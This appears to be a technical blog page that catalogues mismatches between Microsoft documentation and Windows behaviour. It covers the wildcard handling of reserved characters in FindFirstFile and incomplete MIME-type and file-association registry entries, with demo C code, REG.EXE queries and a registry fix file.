Me, myself & IT

Chinese Whispers – Lost in Translaition, Implementation, Documentation, Communication, …

Purpose
Trivia
Whisper № 0: Demonstration; Background Information
Whisper № 1: Demonstration; Fix
Whisper № 2: Demonstration; Fix
Whisper № 3: Fix
Whisper № 4: Demonstration; Attribution; Fix
Whisper № 5: Demonstration; Fix
Whisper № 6: Demonstration
Whisper № 7: Demonstration; Mitigation
Whisper № 8
Whisper № 9: Demonstration
Whisper № 10: Demonstration; Background Information; Fix
Whisper № 11: Demonstration; Fix
Whisper № 12
Whisper № 13: Demonstration; Background Information
Whisper № 14: Demonstration
Whisper № 15: Demonstration
Whisper № 16
Whisper № 17: Falsification
Whisper № 18
Whisper № 19: Falsification
Whisper № 20: Demonstration

ICACLS.EXE "%ProgramData%\Microsoft\MF\*"

C:\ProgramData\Microsoft\MF\ACTIVE.GRL NT AUTHORITY\INTERACTIVE:(R,W)
                                       NT AUTHORITY\SYSTEM:(R,W)
                                       BUILTIN\Administrators:(R,W,WDAC)
                                       NT AUTHORITY\LOCAL SERVICE:(R,W)
                                       NT SERVICE\TrustedInstaller:(F)

C:\ProgramData\Microsoft\MF\PENDING.GRL NT AUTHORITY\INTERACTIVE:(R,W)
                                        NT AUTHORITY\SYSTEM:(R,W)
                                        BUILTIN\Administrators:(R,W,WDAC)
                                        NT AUTHORITY\LOCAL SERVICE:(R,W)
                                        NT SERVICE\TrustedInstaller:(F)

Successfully processed 1 files; Failed processing 0 files

Purpose

Present several exercises in the proverbial art of the left hand doesn’t know what the right hand is doing performed at Microsoft^®.

Trivia

In some parts of the English speaking world, the children’s game Chinese Whispers is known as Telephone – in German speaking countries it is called Stille Post.
Any resemblance to Windows^® development and maintenance process is purely coincidental.

Whisper № 0

The MSDN article Naming Files, Paths, and Namespaces specifies in section Naming Conventions:

The following fundamental rules enable applications to create and process valid names for files and directories, regardless of the file system:

Use any character in the current code page for a name, including Unicode characters and characters in the extended character set (128–255), except for the following:

The following reserved characters:

< (less than)

> (greater than)

: (colon)

" (double quote)

/ (forward slash)

\ (backslash)

| (vertical bar or pipe)

? (question mark)

* (asterisk)

Integer value zero, sometimes referred to as the ASCII NUL character.

Characters whose integer representations are in the range from 1 through 31, except for alternate data streams where these characters are allowed. For more information about file streams, see File Streams.

Any other character that the target file system does not allow.

The documentation for the Win32 function FindFirstFile() specifies:

Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).
[…]
HANDLE FindFirstFile(
  [in]  LPCTSTR           lpFileName,
  [out] LPWIN32_FIND_DATA lpFindFileData
);
[…]
[in] lpFileName
The directory or path, and the file name. The file name can include wildcard characters, for example, an asterisk (*) or a question mark (?).
[…]
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.

Demonstration

Perform the following 3 simple steps to show the real (mis)behaviour.

Create the text file whisper.c with the following content in an arbitrary, preferable empty directory:

// Copyright © 2004-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;

	va_list	vaInput;
	va_start(vaInput, lpFormat);

	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);

	va_end(vaInput);

	if (dwOutput == 0)
		return FALSE;

	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;

	return dwConsole == dwOutput;
}

__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WIN32_FIND_DATA	wfd;

	DWORD	dwError;
	BOOL	bWhisper = FALSE;
	HANDLE	hWhisper;
	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);

	if (hConsole == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hWhisper = FindFirstFile(L"<\">", &wfd);

		if (hWhisper == INVALID_HANDLE_VALUE)
			PrintConsole(hConsole,
			             L"FindFirstFile() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			do
				PrintConsole(hConsole,
				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\', attributes 0x%08lX and size %I64u\n",
				             bWhisper ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes,
#ifndef _WIN64
				             wfd.nFileSizeLow, wfd.nFileSizeHigh);
#else
				             wfd.nFileSizeLow + wfd.nFileSizeHigh * 4294967296);
#endif
			while (bWhisper = FindNextFile(hWhisper, &wfd));

			dwError = GetLastError();

			if (dwError == ERROR_NO_MORE_FILES)
				dwError = ERROR_SUCCESS;
			else
				PrintConsole(hConsole,
				             L"FindNextFile() returned error %lu\n",
				             dwError);

			if (!FindClose(hWhisper))
				PrintConsole(hConsole,
				             L"FindClose() returned error %lu\n",
				             dwError = GetLastError());
		}

		if (!CloseHandle(hConsole))
			PrintConsole(hConsole,
			             L"CloseHandle() returned error %lu\n",
			             dwError = GetLastError());
	}

	ExitProcess(dwError);
}

Compile and link the source file whisper.c created in step 1.:

SET CL=/GAFy /Oxy /W4 /Zl
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
CL.EXE whisper.c kernel32.lib user32.lib

Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.

whisper.c
whisper.c(63) : warning C4706: assignment within conditional expression

Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.

/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
/out:whisper.exe
whisper.obj
kernel32.lib
user32.lib

Execute the console application whisper.exe built in step 2. and evaluate its exit code:

.\whisper.exe
ECHO %ERRORLEVEL%

FindFirstFile() returned filename '.' with alternate (8.3) filename '', attributes 0x00002030 and size 0
FindNextFile() returned filename '..' with alternate (8.3) filename '', attributes 0x00002030 and size 0
FindNextFile() returned filename 'whisper.c' with alternate (8.3) filename '', attributes 0x00000020 and size 2217

0

OOPS: the Win32 function FindFirstFile() accepts the reserved characters <, > and " as wildcards, with the pattern <"> equivalent to *.?.

Background Information

The Win32 functions FindFirstFile() and FindNextFile() call the native function NtQueryDirectoryFile() alias ZwQueryDirectoryFile(), which performs pattern matching with the native function FsRtlIsNameInExpression():

The FsRtlIsNameInExpression routine determines whether a Unicode string matches the specified pattern.
The following wildcard characters can be used in the pattern string.

Wildcard character Meaning

* (asterisk) Matches zero or more characters.

? (question mark) Matches a single character.

" (quotation mark)
DOS_DOT Matches either a period or zero characters beyond the name string.

> (greater than)
DOS_QM Matches any single character or, upon encountering a period or end of name string, advances the expression to the end of the set of contiguous DOS_QMs.

< (less than)
DOS_STAR Matches zero or more characters until encountering and matching the final . in the name.

Wildcard character	Meaning
* (asterisk)	Matches zero or more characters.
? (question mark)	Matches a single character.
" (quotation mark) DOS_DOT	Matches either a period or zero characters beyond the name string.
> (greater than) DOS_QM	Matches any single character or, upon encountering a period or end of name string, advances the expression to the end of the set of contiguous DOS_QMs.
< (less than) DOS_STAR	Matches zero or more characters until encountering and matching the final . in the name.

FsRtlIsDbcsInExpression() RtlIsNameInExpression()

Whisper № 1

The official Media Types registry maintained by IANA lists the following (vendor-specific) MIME content types assigned to Microsoft for file extensions used by their software:
application/msword for .doc and .dot,
application/rtf for .rtf,
application/vnd.microsoft.portable-executable for .exe, .dll, .sys, .drv, .scr, .cpl, .ocx, .acm, .ax, .ime, .tsp, .mui, .efi etc.,
application/vnd.microsoft.windows.thumbnail-cache for thumbs.db,
application/vnd.ms-artgalry for .cil,
application/vnd.ms-asf for .asf,
application/vnd.ms-cab-compressed for .cab,
application/vnd.ms-3mfdocument for .3mf,
application/vnd.ms-excel for .xlm, .xls .xlt etc.,
application/vnd.ms-excel.addin.macroEnabled.12 for .xlam,
application/vnd.ms-excel.sheet.binary.macroEnabled.12 for .xlsb,
application/vnd.ms-excel.sheet.macroEnabled.12 for .xlsm,
application/vnd.ms-excel.template.macroEnabled.12 for .xltm,
application/vnd.ms-fontobject for .eot,
application/vnd.ms-htmlhelp for .chm,
application/vnd.ms-ims for .ims,
application/vnd.ms-officetheme for .thmx,
application/vnd.ms-powerpoint for .ppm, .pps, .ppt, .pot etc.,
application/vnd.ms-powerpoint.addin.macroEnabled.12 for .ppam,
application/vnd.ms-powerpoint.presentation.macroEnabled.12 for .pptm,
application/vnd.ms-powerpoint.slide.macroEnabled.12 for .sldm,
application/vnd.ms-powerpoint.slideshow.macroEnabled.12 for .ppsm,
application/vnd.ms-powerpoint.template.macroEnabled.12 for .potm,
application/vnd.ms-project for .mpp and .mpt,
application/vnd.ms-tnef for winmail.dat,
application/vnd.ms-word.document.macroEnabled.12 for .docm,
application/vnd.ms-word.template.macroEnabled.12 for .dotm,
application/vnd.ms-wpl for .wpl,
application/vnd.ms-xpsdocument for .xps,
audio/vnd.ms-playready.media.pya for .pya,
image/vnd.microsoft.icon for .ico,
image/vnd.ms-modi for .mdi,
text/vnd.ms-mediapackage for .mpf and
video/vnd.ms-playready.media.pyv for .pyv.

MIME content types alias media types for file extensions have to be registered since Windows NT 3.1 and Windows 95 with the following pair of Registry entries:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.‹extension›]
"Content Type"="‹MIME content type›"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\‹MIME content type›]
"Extension"=".‹extension›"

Demonstration

Perform the following 2 simple steps to show the poor state of the MIME content type registration.

Start the Command Processor Cmd.exe, then execute the following command lines to display the MIME content types registered with some 51 file extensions for which Microsoft has a MIME content type assigned by IANA:

FOR %? IN (.doc .dot .rtf .exe .dll .sys .drv .scr .cpl .ocx .acm .ax .ime .tsp .mui .efi .cil .asf
           .cab .3mf .xlm .xls .xlt .xlam .xlsb .xlsm .xltm .eot .chm .ims .thmx .ppm .pps .ppt .pot
           .ppam .pptm .sldm .ppsm .potm .mpp .mpt .docm .dotm .wpl .xps .pya .ico .mdi .mpf .pyv) DO @(
REG.EXE QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Classes\%? /V "Content Type") 2>NUL:

Note: the command lines can be copied and pasted as block into a Command Processor window.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe
    Content Type    REG_SZ    application/x-msdownload

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dll
    Content Type    REG_SZ    application/x-msdownload

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.asf
    Content Type    REG_SZ    video/x-ms-asf

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.wpl
    Content Type    REG_SZ    application/vnd.ms-wpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.xps
    Content Type    REG_SZ    application/vnd.ms-xpsdocument

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ico
    Content Type    REG_SZ    image/x-icon

OUCH¹: only 6 of these 51 file extensions are registered with their MIME content type – the 4 highlighted ones not assigned by IANA!

Display the file extensions registered with the MIME content types which Microsoft has assigned by IANA:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/msword" /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/rtf" /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type" /F "vnd.microsoft" /K /S /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type" /F "vnd.ms-" /K /S /V "Extension"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/msword
    Extension    REG_SZ    .doc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/rtf
    Extension    REG_SZ    .rtf

End of search: 0 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.certstore
    Extension    REG_SZ    .sst

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.pko
    Extension    REG_SZ    .pko

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.seccat
    Extension    REG_SZ    .cat

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-wpl
    Extension    REG_SZ    .wpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\image/vnd.ms-dds
    Extension    REG_SZ    .dds

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\image/vnd.ms-photo
    Extension    REG_SZ    .wdp

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.certstore
    Extension    REG_SZ    .sst

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.pko
    Extension    REG_SZ    .pko

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.seccat
    Extension    REG_SZ    .cat

End of search: 9 match(es) found.

OUCH²: the MIME content type application/vnd.ms-xpsdocument for the file extension .xps is missing!

OUCH³: the 5 MIME content types application/vnd.ms-pki.* and image/vnd.ms-* are not assigned by IANA!

OUCH⁴: the 3 MIME content types vnd.ms-pki.* are invalid – their top-level media type is missing!

FOR %? IN (.doc .dot .rtf .exe .dll .sys .drv .scr .cpl .ocx .acm .ax .ime .tsp .mui .efi .cil .asf
           .cab .3mf .xlm .xls .xlt .xlam .xlsb .xlsm .xltm .eot .chm .ims .thmx .ppm .pps .ppt .pot
           .ppam .pptm .sldm .ppsm .potm .mpp .mpt .docm .dotm .wpl .xps .pya .ico .mdi .mpf .pyv) DO @(
REG.EXE QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Classes\%? /V "Content Type") 2>NUL:

Note: the command lines can be copied and pasted as block into a Command Processor window.

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe
    Content Type    REG_SZ    application/x-msdownload

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dll
    Content Type    REG_SZ    application/x-msdownload

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.asf
    Content Type    REG_SZ    video/x-ms-asf

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.wpl
    Content Type    REG_SZ    application/vnd.ms-wpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ico
    Content Type    REG_SZ    image/x-icon

Display the file extensions registered with the MIME content types which Microsoft has assigned by IANA:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/msword" /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/rtf" /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type" /F "vnd.microsoft" /K /S /V "Extension"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type" /F "vnd.ms-" /K /S /V "Extension"

ERROR: The specified registry key or value was not found.

ERROR: The specified registry key or value was not found.

End of search: 0 match(es) found.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.certstore
    Extension    REG_SZ    .sst

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.pko
    Extension    REG_SZ    .pko

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-pki.seccat
    Extension    REG_SZ    .cat

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-wpl
    Extension    REG_SZ    .wpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\image/vnd.ms-dds
    Extension    REG_SZ    .dds

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\image/vnd.ms-photo
    Extension    REG_SZ    .wdp

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.certstore
    Extension    REG_SZ    .sst

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.pko
    Extension    REG_SZ    .pko

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.seccat
    Extension    REG_SZ    .cat

End of search: 9 match(es) found.

Fix

Perform the following 2 simple steps to add missing, fix wrong and remove invalid MIME content type registrations.

Create the text file whisper.reg with the following content in an arbitrary, preferable empty directory:

REGEDIT4

; Copyright © 2001-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.acm]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ax]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.cab]
"Content Type"="application/vnd.ms-cab-compressed"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.chm]
"Content Type"="application/vnd.ms-htmlhelp"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.com]
"Content Type"="application/vnd.microsoft.portable-executable"
;"Content Type"="application/x-msdos-program"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.cpl]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dll]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.drv]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.efi]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eot]
"Content Type"="application/vnd.ms-fontobject"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]
"Content Type"="application/vnd.microsoft.portable-executable"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz]
"Content Type"="application/gzip"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ico]
"Content Type"="image/vnd.microsoft.icon"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ime]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.iso]
"Content Type"="application/x-iso9660-image"
"PerceivedType"="Application"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.manifest]
"Content Type"="application/x-ms-manifest"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.msi]
"Content Type"="application/x-ole-storage"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.msm]
;@="MSI.MergeModule"
"Content Type"="application/x-ole-storage"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.msp]
"Content Type"="application/x-ole-storage"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mst]
;@="MSI.Transform"
"Content Type"="application/x-ole-storage"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mui]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.msu]
"Content Type"="application/vnd.ms-cab-compressed"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ocx]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.rdp]
"Content Type"="application/x-rdp"
"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.scr]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sys]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.tsp]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.udf]
"Content Type"="application/x-iso13346-image"
"PerceivedType"="Application"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.wll]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.xll]
"Content Type"="application/vnd.microsoft.portable-executable"
"PerceivedType"="System"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/gzip]
"Extension"=".gz"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/sql]
"Extension"=".sql"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.microsoft.icon]
"Extension"=".ico"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.microsoft.portable-executable]
"Extension"=".exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-cab-compressed]
"Extension"=".cab"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-fontobject]
"Extension"=".eot"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/vnd.ms-htmlhelp]
"Extension"=".chm"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-iso13346-image]
"Extension"=".udf"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-iso9660-image]
"Extension"=".iso"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-ms-manifest]
"Extension"=".manifest"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-msdos-program]
"Extension"=".com"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-ns-proxy-autoconfig]
"Extension"=".pac"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-ole-storage]
"Extension"=".msi"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-rdp]
"Extension"=".rdp"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/zip]
"Extension"=".zip"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\text/comma-separated-values]
"Extension"=".csv"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\text/csv]
"Extension"=".csv"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\text/markdown]
"Extension"=".md"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\text/tab-separated-values]
"Extension"=".tsv"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.certstore]

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.pko]

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\vnd.ms-pki.seccat]

Double-click the file whisper.reg created in step 1. to merge its entries into the Registry.

Whisper № 2

With Windows XP Microsoft added System File Associations, intended as fallback for file extensions supported by applications like
Command Processor (.bat, .cmd),
Diagnostics Troubleshooting Wizard (.diagcab, .diagcfg, .diagpkg),
Editor (.ini, .log, .txt),
Event Viewer Snapin Launcher (.etl, .evt, .evtx),
HTML Application Host (.hta),
HTML Help Viewer (.chm),
IExpress Wizard (.sed),
INF Default Installer (.inf),
Microsoft Help (.hlp),
Microsoft Management Console (.msc),
Outlook Express (.eml, .nws),
Paint (.bmp, .dib, .emf, .gif, .ico, .jfif, .jpe, .jpeg, .jpg, .png, .rle, .tif, .tiff, .wmf),
PrintBrm Application (.printerExport),
Registry Editor (.reg),
Remote Access Phonebook (.pbk),
Resource and Performance Monitor (.blg, .perfmoncfg, .resmoncfg),
Support exe for Internet Printing (.webpnp),
System Information (.nfo),
Terminal Server Client (.rdp),
Windows Backup (.wbcat),
Windows Contacts (.contact, .group, .p7c, .vcf, .wab),
Windows Control Panel (.cpl, .scr),
Windows DVD Maker (.msdvd),
Windows Easy Transfer Application (.mig),
Windows Font Viewer (.fon, .otf, .ttc, .ttf),
Windows Installer (.msi, .msp),
Windows Mail (.eml, .nws),
Windows Remote Assistance (.msrcincident),
Windows Script Host (.js, .jse, .vbe, .vbs, .wsf, .wsh),
Windows Update Standalone Installer (.msu),
Windows Write (.wri),
WordPad (.doc, .docx, .rtf, .odt),
XPS Viewer (.xps) etc. shipped and installed with Windows.

They but didn’t bother to register most of the file extensions supported by their own applications!

CAVEAT: several more applications shipped and installed with Windows are provided in DLLs executed via the Windows host process (Rundll32) instead of dedicated applications!

Demonstration

Perform the following 4 simple steps to show the poor state of the file extension registration.

Start the Command Processor Cmd.exe, then execute the following command lines to display the registry entries for some 72 file extensions supported by the dedicated applications named above:

FOR %? IN (.bat .cmd .diagcab .diagcfg .diagpkg .ini .log .txt
           .etl .evt .evtx .hta .chm .sed .inf .hlp .msc .eml .nws
           .bmp .dib .emf .gif .ico .jfif .jpe .jpeg .jpg .png .rle .tif .tiff .wmf
           .printerExport .reg .pbk .blg .perfmoncfg .resmoncfg
           .webpnp .nfo .rdp .wbcat .contact .group .p7c .vcf .wab
           .cpl .scr .msdvd .mig .fon .otf .ttc .ttf .msi .msp .msrcincident
           .js .jse .vbe .vbs .wsf .wsh .msu .wri .rtf .odt .doc .docx .xps) DO @(
REG.EXE QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\%? /S) 2>NUL:

Note: the command lines can be copied and pasted as block into a Command Processor window.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib
    PreviewDetails    REG_SZ    prop:*System.DateModified;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
